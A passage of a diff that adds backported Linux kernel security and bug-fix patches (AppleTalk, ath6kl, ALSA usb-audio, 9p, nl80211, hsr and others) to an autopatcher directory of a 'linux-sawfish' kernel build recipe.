net/appletalk/sysctl_net_atalk.c | 5 ++++- + 4 files changed, 37 insertions(+), 9 deletions(-) + +diff --git a/include/linux/atalk.h b/include/linux/atalk.h +index 73fd8b7e95344..716d53799d1f3 100644 +--- a/include/linux/atalk.h ++++ b/include/linux/atalk.h +@@ -150,7 +150,7 @@ extern int sysctl_aarp_retransmit_limit; + extern int sysctl_aarp_resolve_time; + + #ifdef CONFIG_SYSCTL +-extern void atalk_register_sysctl(void); ++extern int atalk_register_sysctl(void); + extern void atalk_unregister_sysctl(void); + #else + #define atalk_register_sysctl() do { } while(0) +diff --git a/net/appletalk/atalk_proc.c b/net/appletalk/atalk_proc.c +index af46bc49e1e99..b5f84f428aa6c 100644 +--- a/net/appletalk/atalk_proc.c ++++ b/net/appletalk/atalk_proc.c +@@ -293,7 +293,7 @@ out_interface: + goto out; + } + +-void __exit atalk_proc_exit(void) ++void atalk_proc_exit(void) + { + remove_proc_entry("interface", atalk_proc_dir); + remove_proc_entry("route", atalk_proc_dir); +diff --git a/net/appletalk/ddp.c b/net/appletalk/ddp.c +index c00897f65a31e..276a09d7c537b 100644 +--- a/net/appletalk/ddp.c ++++ b/net/appletalk/ddp.c +@@ -1913,12 +1913,16 @@ static const char atalk_err_snap[] __initconst = + /* Called by proto.c on kernel start up */ + static int __init atalk_init(void) + { +- int rc = proto_register(&ddp_proto, 0); ++ int rc; + +- if (rc != 0) ++ rc = proto_register(&ddp_proto, 0); ++ if (rc) + goto out; + +- (void)sock_register(&atalk_family_ops); ++ rc = sock_register(&atalk_family_ops); ++ if (rc) ++ goto out_proto; ++ + ddp_dl = register_snap_client(ddp_snap_id, atalk_rcv); + if (!ddp_dl) + printk(atalk_err_snap); +@@ -1926,12 +1930,33 @@ static int __init atalk_init(void) + dev_add_pack(<alk_packet_type); + dev_add_pack(&ppptalk_packet_type); + +- register_netdevice_notifier(&ddp_notifier); ++ rc = register_netdevice_notifier(&ddp_notifier); ++ if (rc) ++ goto out_sock; ++ + aarp_proto_init(); +- atalk_proc_init(); +- atalk_register_sysctl(); ++ rc = atalk_proc_init(); ++ if (rc) ++ goto out_aarp; ++ ++ rc = atalk_register_sysctl(); ++ if (rc) ++ goto out_proc; + out: + return rc; ++out_proc: ++ atalk_proc_exit(); ++out_aarp: ++ aarp_cleanup_module(); ++ unregister_netdevice_notifier(&ddp_notifier); ++out_sock: ++ dev_remove_pack(&ppptalk_packet_type); ++ dev_remove_pack(<alk_packet_type); ++ unregister_snap_client(ddp_dl); ++ sock_unregister(PF_APPLETALK); ++out_proto: ++ proto_unregister(&ddp_proto); ++ goto out; + } + module_init(atalk_init); + +diff --git a/net/appletalk/sysctl_net_atalk.c b/net/appletalk/sysctl_net_atalk.c +index ebb864361f7a2..4e6042e0fcac7 100644 +--- a/net/appletalk/sysctl_net_atalk.c ++++ b/net/appletalk/sysctl_net_atalk.c +@@ -44,9 +44,12 @@ static struct ctl_table atalk_table[] = { + + static struct ctl_table_header *atalk_table_header; + +-void atalk_register_sysctl(void) ++int __init atalk_register_sysctl(void) + { + atalk_table_header = register_net_sysctl(&init_net, "net/appletalk", atalk_table); ++ if (!atalk_table_header) ++ return -ENOMEM; ++ return 0; + } + + void atalk_unregister_sysctl(void) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0569.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0569.diff new file mode 100644 index 0000000..17e148a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0569.diff @@ -0,0 +1,51 @@ +diff --git a/drivers/media/usb/dvb-usb/technisat-usb2.c b/drivers/media/usb/dvb-usb/technisat-usb2.c +index 6b0b8b6..301b177 100644 +--- a/drivers/media/usb/dvb-usb/technisat-usb2.c ++++ b/drivers/media/usb/dvb-usb/technisat-usb2.c +@@ -591,9 +591,9 @@ + + static int technisat_usb2_get_ir(struct dvb_usb_device *d) + { +- u8 buf[62], *b; +- int ret; ++ u8 buf[62]; + struct ir_raw_event ev; ++ int i, ret; + + buf[0] = GET_IR_DATA_VENDOR_REQUEST; + buf[1] = 0x08; +@@ -629,26 +629,25 @@ + return 0; /* no key pressed */ + + /* decoding */ +- b = buf+1; + + #if 0 + deb_rc("RC: %d ", ret); +- debug_dump(b, ret, deb_rc); ++ debug_dump(buf + 1, ret, deb_rc); + #endif + + ev.pulse = 0; +- while (1) { +- ev.pulse = !ev.pulse; +- ev.duration = (*b * FIRMWARE_CLOCK_DIVISOR * FIRMWARE_CLOCK_TICK) / 1000; +- ir_raw_event_store(d->rc_dev, &ev); +- +- b++; +- if (*b == 0xff) { ++ for (i = 1; i < ARRAY_SIZE(buf); i++) { ++ if (buf[i] == 0xff) { + ev.pulse = 0; + ev.duration = 888888*2; + ir_raw_event_store(d->rc_dev, &ev); + break; + } ++ ++ ev.pulse = !ev.pulse; ++ ev.duration = (buf[i] * FIRMWARE_CLOCK_DIVISOR * ++ FIRMWARE_CLOCK_TICK) / 1000; ++ ir_raw_event_store(d->rc_dev, &ev); + } + + ir_raw_event_handle(d->rc_dev); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0570.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0570.diff new file mode 100644 index 0000000..a2bee36 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0570.diff @@ -0,0 +1,13 @@ +diff --git a/net/xfrm/xfrm_user.c b/net/xfrm/xfrm_user.c +index 83730d6..129e452 100644 +--- a/net/xfrm/xfrm_user.c ++++ b/net/xfrm/xfrm_user.c +@@ -1321,7 +1321,7 @@ + ret = verify_policy_dir(p->dir); + if (ret) + return ret; +- if (p->index && ((p->index & XFRM_POLICY_MAX) != p->dir)) ++ if (p->index && (xfrm_policy_id2dir(p->index) != p->dir)) + return -EINVAL; + + return 0; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0571.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0571.diff new file mode 100644 index 0000000..6599097 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0571.diff @@ -0,0 +1,13 @@ +diff --git a/drivers/scsi/libsas/sas_expander.c b/drivers/scsi/libsas/sas_expander.c +index 773f867..debc143 100644 +--- a/drivers/scsi/libsas/sas_expander.c ++++ b/drivers/scsi/libsas/sas_expander.c +@@ -978,6 +978,8 @@ + list_del(&child->dev_list_node); + spin_unlock_irq(&parent->port->dev_list_lock); + sas_put_device(child); ++ sas_port_delete(phy->port); ++ phy->port = NULL; + return NULL; + } + list_add_tail(&child->siblings, &parent->ex_dev.children); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0572-a7053bc3aeef-netsysfs Fix mem leak in netdevregisterkobject.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0572-a7053bc3aeef-netsysfs Fix mem leak in netdevregisterkobject.patch new file mode 100644 index 0000000..62b4a69 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0572-a7053bc3aeef-netsysfs Fix mem leak in netdevregisterkobject.patch @@ -0,0 +1,58 @@ +From a7053bc3aeefb24b94290a5c438fbcfe635ee4c7 Mon Sep 17 00:00:00 2001 +From: YueHaibing +Date: Sat, 2 Mar 2019 10:34:55 +0800 +Subject: net-sysfs: Fix mem leak in netdev_register_kobject + +[ Upstream commit 895a5e96dbd6386c8e78e5b78e067dcc67b7f0ab ] + +syzkaller report this: +BUG: memory leak +unreferenced object 0xffff88837a71a500 (size 256): + comm "syz-executor.2", pid 9770, jiffies 4297825125 (age 17.843s) + hex dump (first 32 bytes): + 00 00 00 00 ad 4e ad de ff ff ff ff 00 00 00 00 .....N.......... + ff ff ff ff ff ff ff ff 20 c0 ef 86 ff ff ff ff ........ ....... + backtrace: + [<00000000db12624b>] netdev_register_kobject+0x124/0x2e0 net/core/net-sysfs.c:1751 + [<00000000dc49a994>] register_netdevice+0xcc1/0x1270 net/core/dev.c:8516 + [<00000000e5f3fea0>] tun_set_iff drivers/net/tun.c:2649 [inline] + [<00000000e5f3fea0>] __tun_chr_ioctl+0x2218/0x3d20 drivers/net/tun.c:2883 + [<000000001b8ac127>] vfs_ioctl fs/ioctl.c:46 [inline] + [<000000001b8ac127>] do_vfs_ioctl+0x1a5/0x10e0 fs/ioctl.c:690 + [<0000000079b269f8>] ksys_ioctl+0x89/0xa0 fs/ioctl.c:705 + [<00000000de649beb>] __do_sys_ioctl fs/ioctl.c:712 [inline] + [<00000000de649beb>] __se_sys_ioctl fs/ioctl.c:710 [inline] + [<00000000de649beb>] __x64_sys_ioctl+0x74/0xb0 fs/ioctl.c:710 + [<000000007ebded1e>] do_syscall_64+0xc8/0x580 arch/x86/entry/common.c:290 + [<00000000db315d36>] entry_SYSCALL_64_after_hwframe+0x49/0xbe + [<00000000115be9bb>] 0xffffffffffffffff + +It should call kset_unregister to free 'dev->queues_kset' +in error path of register_queue_kobjects, otherwise will cause a mem leak. + +Reported-by: Hulk Robot +Fixes: 1d24eb4815d1 ("xps: Transmit Packet Steering") +Signed-off-by: YueHaibing +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/core/net-sysfs.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/net/core/net-sysfs.c b/net/core/net-sysfs.c +index 9dd06699b09c9..2c8e231d7075d 100644 +--- a/net/core/net-sysfs.c ++++ b/net/core/net-sysfs.c +@@ -1241,6 +1241,9 @@ static int register_queue_kobjects(struct net_device *dev) + error: + netdev_queue_update_kobjects(dev, txq, 0); + net_rx_queue_update_kobjects(dev, rxq, 0); ++#ifdef CONFIG_SYSFS ++ kset_unregister(dev->queues_kset); ++#endif + return error; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0573.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0573.diff new file mode 100644 index 0000000..8953387 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0573.diff @@ -0,0 +1,35 @@ +diff --git a/drivers/net/wireless/ath/ath6kl/wmi.c b/drivers/net/wireless/ath/ath6kl/wmi.c +index b921005..bb83e79 100644 +--- a/drivers/net/wireless/ath/ath6kl/wmi.c ++++ b/drivers/net/wireless/ath/ath6kl/wmi.c +@@ -1178,6 +1178,10 @@ + return -EINVAL; + + ev = (struct wmi_pstream_timeout_event *) datap; ++ if (ev->traffic_class >= WMM_NUM_AC) { ++ ath6kl_err("invalid traffic class: %d\n", ev->traffic_class); ++ return -EINVAL; ++ } + + /* + * When the pstream (fat pipe == AC) timesout, it means there were +@@ -1519,6 +1523,10 @@ + return -EINVAL; + + reply = (struct wmi_cac_event *) datap; ++ if (reply->ac >= WMM_NUM_AC) { ++ ath6kl_err("invalid AC: %d\n", reply->ac); ++ return -EINVAL; ++ } + + if ((reply->cac_indication == CAC_INDICATION_ADMISSION_RESP) && + (reply->status_code != IEEE80211_TSPEC_STATUS_ADMISS_ACCEPTED)) { +@@ -2631,7 +2639,7 @@ + u16 active_tsids = 0; + int ret; + +- if (traffic_class > 3) { ++ if (traffic_class >= WMM_NUM_AC) { + ath6kl_err("invalid traffic class: %d\n", traffic_class); + return -EINVAL; + } diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0574-172236e69b71-ALSA usbaudio Avoid access before bLength check in.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0574-172236e69b71-ALSA usbaudio Avoid access before bLength check in.patch new file mode 100644 index 0000000..d8ed40c --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0574-172236e69b71-ALSA usbaudio Avoid access before bLength check in.patch @@ -0,0 +1,51 @@ +From 172236e69b714879fe534b1fa2e8ffed2c221ebc Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Wed, 19 Dec 2018 12:36:27 +0100 +Subject: ALSA: usb-audio: Avoid access before bLength check in + build_audio_procunit() + +commit f4351a199cc120ff9d59e06d02e8657d08e6cc46 upstream. + +The parser for the processing unit reads bNrInPins field before the +bLength sanity check, which may lead to an out-of-bound access when a +malformed descriptor is given. Fix it by assignment after the bLength +check. + +Cc: +Signed-off-by: Takashi Iwai +Signed-off-by: Greg Kroah-Hartman +--- + sound/usb/mixer.c | 10 ++++++++-- + 1 file changed, 8 insertions(+), 2 deletions(-) + +diff --git a/sound/usb/mixer.c b/sound/usb/mixer.c +index 44812e4a4890b..820913c73a225 100644 +--- a/sound/usb/mixer.c ++++ b/sound/usb/mixer.c +@@ -1799,7 +1799,7 @@ static int build_audio_procunit(struct mixer_build *state, int unitid, + char *name) + { + struct uac_processing_unit_descriptor *desc = raw_desc; +- int num_ins = desc->bNrInPins; ++ int num_ins; + struct usb_mixer_elem_info *cval; + struct snd_kcontrol *kctl; + int i, err, nameid, type, len; +@@ -1814,7 +1814,13 @@ static int build_audio_procunit(struct mixer_build *state, int unitid, + 0, NULL, default_value_info + }; + +- if (desc->bLength < 13 || desc->bLength < 13 + num_ins || ++ if (desc->bLength < 13) { ++ usb_audio_err(state->chip, "invalid %s descriptor (id %d)\n", name, unitid); ++ return -EINVAL; ++ } ++ ++ num_ins = desc->bNrInPins; ++ if (desc->bLength < 13 + num_ins || + desc->bLength < num_ins + uac_processing_unit_bControlSize(desc, state->mixer->protocol)) { + usb_audio_err(state->chip, "invalid %s descriptor (id %d)\n", name, unitid); + return -EINVAL; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0575.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0575.diff new file mode 100644 index 0000000..d73d86e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0575.diff @@ -0,0 +1,23 @@ +diff --git a/drivers/net/wireless/libertas/if_sdio.c b/drivers/net/wireless/libertas/if_sdio.c +index 33ceda2..45d68ee 100644 +--- a/drivers/net/wireless/libertas/if_sdio.c ++++ b/drivers/net/wireless/libertas/if_sdio.c +@@ -1229,6 +1229,10 @@ + + spin_lock_init(&card->lock); + card->workqueue = create_workqueue("libertas_sdio"); ++ if (unlikely(!card->workqueue)) { ++ ret = -ENOMEM; ++ goto err_queue; ++ } + INIT_WORK(&card->packet_worker, if_sdio_host_to_card_worker); + init_waitqueue_head(&card->pwron_waitq); + +@@ -1282,6 +1286,7 @@ + lbs_remove_card(priv); + free: + destroy_workqueue(card->workqueue); ++err_queue: + while (card->packets) { + packet = card->packets; + card->packets = card->packets->next; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0576.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0576.diff new file mode 100644 index 0000000..5fafaad --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0576.diff @@ -0,0 +1,54 @@ +diff --git a/drivers/scsi/qla2xxx/qla_os.c b/drivers/scsi/qla2xxx/qla_os.c +index cc7c7cf..47d5c34 100644 +--- a/drivers/scsi/qla2xxx/qla_os.c ++++ b/drivers/scsi/qla2xxx/qla_os.c +@@ -431,6 +431,12 @@ + goto fail; + } + if (ql2xmultique_tag) { ++ ha->wq = alloc_workqueue("qla2xxx_wq", WQ_MEM_RECLAIM, 1); ++ if (unlikely(!ha->wq)) { ++ ql_log(ql_log_warn, vha, 0x01e0, ++ "Failed to alloc workqueue.\n"); ++ goto fail; ++ } + /* create a request queue for IO */ + options |= BIT_7; + req = qla25xx_create_req_que(ha, options, 0, 0, -1, +@@ -438,9 +444,8 @@ + if (!req) { + ql_log(ql_log_warn, vha, 0x00e0, + "Failed to create request queue.\n"); +- goto fail; ++ goto fail2; + } +- ha->wq = alloc_workqueue("qla2xxx_wq", WQ_MEM_RECLAIM, 1); + vha->req = ha->req_q_map[req]; + options |= BIT_1; + for (ques = 1; ques < ha->max_rsp_queues; ques++) { +@@ -448,7 +453,7 @@ + if (!ret) { + ql_log(ql_log_warn, vha, 0x00e8, + "Failed to create response queue.\n"); +- goto fail2; ++ goto fail3; + } + } + ha->flags.cpu_affinity_enabled = 1; +@@ -462,11 +467,13 @@ + ha->max_rsp_queues, ha->max_req_queues); + } + return 0; +-fail2: ++ ++fail3: + qla25xx_delete_queues(vha); +- destroy_workqueue(ha->wq); +- ha->wq = NULL; + vha->req = ha->req_q_map[0]; ++fail2: ++ destroy_workqueue(ha->wq); ++ ha->wq = NULL; + fail: + ha->mqenable = 0; + kfree(ha->req_q_map); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0577.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0577.diff new file mode 100644 index 0000000..25ca5ff --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0577.diff @@ -0,0 +1,240 @@ +diff --git a/fs/9p/v9fs_vfs.h b/fs/9p/v9fs_vfs.h +index b83ebfb..92e67bc 100644 +--- a/fs/9p/v9fs_vfs.h ++++ b/fs/9p/v9fs_vfs.h +@@ -40,6 +40,9 @@ + */ + #define P9_LOCK_TIMEOUT (30*HZ) + ++/* flags for v9fs_stat2inode() & v9fs_stat2inode_dotl() */ ++#define V9FS_STAT2INODE_KEEP_ISIZE 1 ++ + extern struct file_system_type v9fs_fs_type; + extern const struct address_space_operations v9fs_addr_operations; + extern const struct file_operations v9fs_file_operations; +@@ -61,8 +64,10 @@ + struct inode *inode, umode_t mode, dev_t); + void v9fs_evict_inode(struct inode *inode); + ino_t v9fs_qid2ino(struct p9_qid *qid); +-void v9fs_stat2inode(struct p9_wstat *, struct inode *, struct super_block *); +-void v9fs_stat2inode_dotl(struct p9_stat_dotl *, struct inode *); ++void v9fs_stat2inode(struct p9_wstat *stat, struct inode *inode, ++ struct super_block *sb, unsigned int flags); ++void v9fs_stat2inode_dotl(struct p9_stat_dotl *stat, struct inode *inode, ++ unsigned int flags); + int v9fs_dir_release(struct inode *inode, struct file *filp); + int v9fs_file_open(struct inode *inode, struct file *file); + void v9fs_inode2stat(struct inode *inode, struct p9_wstat *stat); +@@ -87,4 +92,18 @@ + } + + int v9fs_open_to_dotl_flags(int flags); ++ ++static inline void v9fs_i_size_write(struct inode *inode, loff_t i_size) ++{ ++ /* ++ * 32-bit need the lock, concurrent updates could break the ++ * sequences and make i_size_read() loop forever. ++ * 64-bit updates are atomic and can skip the locking. ++ */ ++ if (sizeof(i_size) > sizeof(long)) ++ spin_lock(&inode->i_lock); ++ i_size_write(inode, i_size); ++ if (sizeof(i_size) > sizeof(long)) ++ spin_unlock(&inode->i_lock); ++} + #endif +diff --git a/fs/9p/vfs_inode.c b/fs/9p/vfs_inode.c +index 6134fbb..cc147db7 100644 +--- a/fs/9p/vfs_inode.c ++++ b/fs/9p/vfs_inode.c +@@ -538,7 +538,7 @@ + if (retval) + goto error; + +- v9fs_stat2inode(st, inode, sb); ++ v9fs_stat2inode(st, inode, sb, 0); + v9fs_cache_inode_get_cookie(inode); + unlock_new_inode(inode); + return inode; +@@ -1074,7 +1074,7 @@ + if (IS_ERR(st)) + return PTR_ERR(st); + +- v9fs_stat2inode(st, dentry->d_inode, dentry->d_inode->i_sb); ++ v9fs_stat2inode(st, dentry->d_inode, dentry->d_inode->i_sb, 0); + generic_fillattr(dentry->d_inode, stat); + + p9stat_free(st); +@@ -1152,12 +1152,13 @@ + * @stat: Plan 9 metadata (mistat) structure + * @inode: inode to populate + * @sb: superblock of filesystem ++ * @flags: control flags (e.g. V9FS_STAT2INODE_KEEP_ISIZE) + * + */ + + void + v9fs_stat2inode(struct p9_wstat *stat, struct inode *inode, +- struct super_block *sb) ++ struct super_block *sb, unsigned int flags) + { + umode_t mode; + char ext[32]; +@@ -1198,10 +1199,11 @@ + mode = p9mode2perm(v9ses, stat); + mode |= inode->i_mode & ~S_IALLUGO; + inode->i_mode = mode; +- i_size_write(inode, stat->length); + ++ if (!(flags & V9FS_STAT2INODE_KEEP_ISIZE)) ++ v9fs_i_size_write(inode, stat->length); + /* not real number of blocks, but 512 byte ones ... */ +- inode->i_blocks = (i_size_read(inode) + 512 - 1) >> 9; ++ inode->i_blocks = (stat->length + 512 - 1) >> 9; + v9inode->cache_validity &= ~V9FS_INO_INVALID_ATTR; + } + +@@ -1465,9 +1467,9 @@ + { + int umode; + dev_t rdev; +- loff_t i_size; + struct p9_wstat *st; + struct v9fs_session_info *v9ses; ++ unsigned int flags; + + v9ses = v9fs_inode2v9ses(inode); + st = p9_client_stat(fid); +@@ -1480,16 +1482,13 @@ + if ((inode->i_mode & S_IFMT) != (umode & S_IFMT)) + goto out; + +- spin_lock(&inode->i_lock); + /* + * We don't want to refresh inode->i_size, + * because we may have cached data + */ +- i_size = inode->i_size; +- v9fs_stat2inode(st, inode, inode->i_sb); +- if (v9ses->cache == CACHE_LOOSE || v9ses->cache == CACHE_FSCACHE) +- inode->i_size = i_size; +- spin_unlock(&inode->i_lock); ++ flags = (v9ses->cache == CACHE_LOOSE || v9ses->cache == CACHE_FSCACHE) ? ++ V9FS_STAT2INODE_KEEP_ISIZE : 0; ++ v9fs_stat2inode(st, inode, inode->i_sb, flags); + out: + p9stat_free(st); + kfree(st); +diff --git a/fs/9p/vfs_inode_dotl.c b/fs/9p/vfs_inode_dotl.c +index 2a03f78d..9af2f89 100644 +--- a/fs/9p/vfs_inode_dotl.c ++++ b/fs/9p/vfs_inode_dotl.c +@@ -143,7 +143,7 @@ + if (retval) + goto error; + +- v9fs_stat2inode_dotl(st, inode); ++ v9fs_stat2inode_dotl(st, inode, 0); + v9fs_cache_inode_get_cookie(inode); + retval = v9fs_get_acl(inode, fid); + if (retval) +@@ -498,7 +498,7 @@ + if (IS_ERR(st)) + return PTR_ERR(st); + +- v9fs_stat2inode_dotl(st, dentry->d_inode); ++ v9fs_stat2inode_dotl(st, dentry->d_inode, 0); + generic_fillattr(dentry->d_inode, stat); + /* Change block size to what the server returned */ + stat->blksize = st->st_blksize; +@@ -609,11 +609,13 @@ + * v9fs_stat2inode_dotl - populate an inode structure with stat info + * @stat: stat structure + * @inode: inode to populate ++ * @flags: ctrl flags (e.g. V9FS_STAT2INODE_KEEP_ISIZE) + * + */ + + void +-v9fs_stat2inode_dotl(struct p9_stat_dotl *stat, struct inode *inode) ++v9fs_stat2inode_dotl(struct p9_stat_dotl *stat, struct inode *inode, ++ unsigned int flags) + { + umode_t mode; + struct v9fs_inode *v9inode = V9FS_I(inode); +@@ -633,7 +635,8 @@ + mode |= inode->i_mode & ~S_IALLUGO; + inode->i_mode = mode; + +- i_size_write(inode, stat->st_size); ++ if (!(flags & V9FS_STAT2INODE_KEEP_ISIZE)) ++ v9fs_i_size_write(inode, stat->st_size); + inode->i_blocks = stat->st_blocks; + } else { + if (stat->st_result_mask & P9_STATS_ATIME) { +@@ -663,8 +666,9 @@ + } + if (stat->st_result_mask & P9_STATS_RDEV) + inode->i_rdev = new_decode_dev(stat->st_rdev); +- if (stat->st_result_mask & P9_STATS_SIZE) +- i_size_write(inode, stat->st_size); ++ if (!(flags & V9FS_STAT2INODE_KEEP_ISIZE) && ++ stat->st_result_mask & P9_STATS_SIZE) ++ v9fs_i_size_write(inode, stat->st_size); + if (stat->st_result_mask & P9_STATS_BLOCKS) + inode->i_blocks = stat->st_blocks; + } +@@ -946,9 +950,9 @@ + + int v9fs_refresh_inode_dotl(struct p9_fid *fid, struct inode *inode) + { +- loff_t i_size; + struct p9_stat_dotl *st; + struct v9fs_session_info *v9ses; ++ unsigned int flags; + + v9ses = v9fs_inode2v9ses(inode); + st = p9_client_getattr_dotl(fid, P9_STATS_ALL); +@@ -960,16 +964,13 @@ + if ((inode->i_mode & S_IFMT) != (st->st_mode & S_IFMT)) + goto out; + +- spin_lock(&inode->i_lock); + /* + * We don't want to refresh inode->i_size, + * because we may have cached data + */ +- i_size = inode->i_size; +- v9fs_stat2inode_dotl(st, inode); +- if (v9ses->cache == CACHE_LOOSE || v9ses->cache == CACHE_FSCACHE) +- inode->i_size = i_size; +- spin_unlock(&inode->i_lock); ++ flags = (v9ses->cache == CACHE_LOOSE || v9ses->cache == CACHE_FSCACHE) ? ++ V9FS_STAT2INODE_KEEP_ISIZE : 0; ++ v9fs_stat2inode_dotl(st, inode, flags); + out: + kfree(st); + return 0; +diff --git a/fs/9p/vfs_super.c b/fs/9p/vfs_super.c +index 0afd038..975c3c1 100644 +--- a/fs/9p/vfs_super.c ++++ b/fs/9p/vfs_super.c +@@ -169,7 +169,7 @@ + goto release_sb; + } + root->d_inode->i_ino = v9fs_qid2ino(&st->qid); +- v9fs_stat2inode_dotl(st, root->d_inode); ++ v9fs_stat2inode_dotl(st, root->d_inode, 0); + kfree(st); + } else { + struct p9_wstat *st = NULL; +@@ -180,7 +180,7 @@ + } + + root->d_inode->i_ino = v9fs_qid2ino(&st->qid); +- v9fs_stat2inode(st, root->d_inode, sb); ++ v9fs_stat2inode(st, root->d_inode, sb, 0); + + p9stat_free(st); + kfree(st); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0578.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0578.diff new file mode 100644 index 0000000..a412b75 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0578.diff @@ -0,0 +1,53 @@ +diff --git a/net/wireless/nl80211.c b/net/wireless/nl80211.c +index 4c527621..8eae59c 100644 +--- a/net/wireless/nl80211.c ++++ b/net/wireless/nl80211.c +@@ -208,6 +208,36 @@ + return __cfg80211_rdev_from_attrs(netns, info->attrs); + } + ++static int validate_beacon_head(const struct nlattr *attr) ++{ ++ const u8 *data = nla_data(attr); ++ unsigned int len = nla_len(attr); ++ const struct element *elem; ++ const struct ieee80211_mgmt *mgmt = (void *)data; ++ unsigned int fixedlen = offsetof(struct ieee80211_mgmt, ++ u.beacon.variable); ++ ++ if (len < fixedlen) ++ goto err; ++ ++ if (ieee80211_hdrlen(mgmt->frame_control) != ++ offsetof(struct ieee80211_mgmt, u.beacon)) ++ goto err; ++ ++ data += fixedlen; ++ len -= fixedlen; ++ ++ for_each_element(elem, data, len) { ++ /* nothing */ ++ } ++ ++ if (for_each_element_completed(elem, data, len)) ++ return 0; ++ ++err: ++ return -EINVAL; ++} ++ + /* policy for the attributes */ + static const struct nla_policy nl80211_policy[NL80211_ATTR_MAX+1] = { + [NL80211_ATTR_WIPHY] = { .type = NLA_U32 }, +@@ -3126,6 +3156,11 @@ + memset(bcn, 0, sizeof(*bcn)); + + if (attrs[NL80211_ATTR_BEACON_HEAD]) { ++ int ret = validate_beacon_head(attrs[NL80211_ATTR_BEACON_HEAD]); ++ ++ if (ret) ++ return ret; ++ + bcn->head = nla_data(attrs[NL80211_ATTR_BEACON_HEAD]); + bcn->head_len = nla_len(attrs[NL80211_ATTR_BEACON_HEAD]); + if (!bcn->head_len) diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0579-e3d6490ad2b4-net hsr fix memory leak in hsrdevfinalize.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0579-e3d6490ad2b4-net hsr fix memory leak in hsrdevfinalize.patch new file mode 100644 index 0000000..9ac9d78 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0579-e3d6490ad2b4-net hsr fix memory leak in hsrdevfinalize.patch @@ -0,0 +1,109 @@ +From e3d6490ad2b47f41bd534a6a5f8655549a754665 Mon Sep 17 00:00:00 2001 +From: Mao Wenan +Date: Wed, 6 Mar 2019 22:45:01 +0800 +Subject: net: hsr: fix memory leak in hsr_dev_finalize() + +[ Upstream commit 6caabe7f197d3466d238f70915d65301f1716626 ] + +If hsr_add_port(hsr, hsr_dev, HSR_PT_MASTER) failed to +add port, it directly returns res and forgets to free the node +that allocated in hsr_create_self_node(), and forgets to delete +the node->mac_list linked in hsr->self_node_db. + +BUG: memory leak +unreferenced object 0xffff8881cfa0c780 (size 64): + comm "syz-executor.0", pid 2077, jiffies 4294717969 (age 2415.377s) + hex dump (first 32 bytes): + e0 c7 a0 cf 81 88 ff ff 00 02 00 00 00 00 ad de ................ + 00 e6 49 cd 81 88 ff ff c0 9b 87 d0 81 88 ff ff ..I............. + backtrace: + [<00000000e2ff5070>] hsr_dev_finalize+0x736/0x960 [hsr] + [<000000003ed2e597>] hsr_newlink+0x2b2/0x3e0 [hsr] + [<000000003fa8c6b6>] __rtnl_newlink+0xf1f/0x1600 net/core/rtnetlink.c:3182 + [<000000001247a7ad>] rtnl_newlink+0x66/0x90 net/core/rtnetlink.c:3240 + [<00000000e7d1b61d>] rtnetlink_rcv_msg+0x54e/0xb90 net/core/rtnetlink.c:5130 + [<000000005556bd3a>] netlink_rcv_skb+0x129/0x340 net/netlink/af_netlink.c:2477 + [<00000000741d5ee6>] netlink_unicast_kernel net/netlink/af_netlink.c:1310 [inline] + [<00000000741d5ee6>] netlink_unicast+0x49a/0x650 net/netlink/af_netlink.c:1336 + [<000000009d56f9b7>] netlink_sendmsg+0x88b/0xdf0 net/netlink/af_netlink.c:1917 + [<0000000046b35c59>] sock_sendmsg_nosec net/socket.c:621 [inline] + [<0000000046b35c59>] sock_sendmsg+0xc3/0x100 net/socket.c:631 + [<00000000d208adc9>] __sys_sendto+0x33e/0x560 net/socket.c:1786 + [<00000000b582837a>] __do_sys_sendto net/socket.c:1798 [inline] + [<00000000b582837a>] __se_sys_sendto net/socket.c:1794 [inline] + [<00000000b582837a>] __x64_sys_sendto+0xdd/0x1b0 net/socket.c:1794 + [<00000000c866801d>] do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290 + [<00000000fea382d9>] entry_SYSCALL_64_after_hwframe+0x49/0xbe + [<00000000e01dacb3>] 0xffffffffffffffff + +Fixes: c5a759117210 ("net/hsr: Use list_head (and rcu) instead of array for slave devices.") +Reported-by: Hulk Robot +Signed-off-by: Mao Wenan +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/hsr/hsr_device.c | 4 +++- + 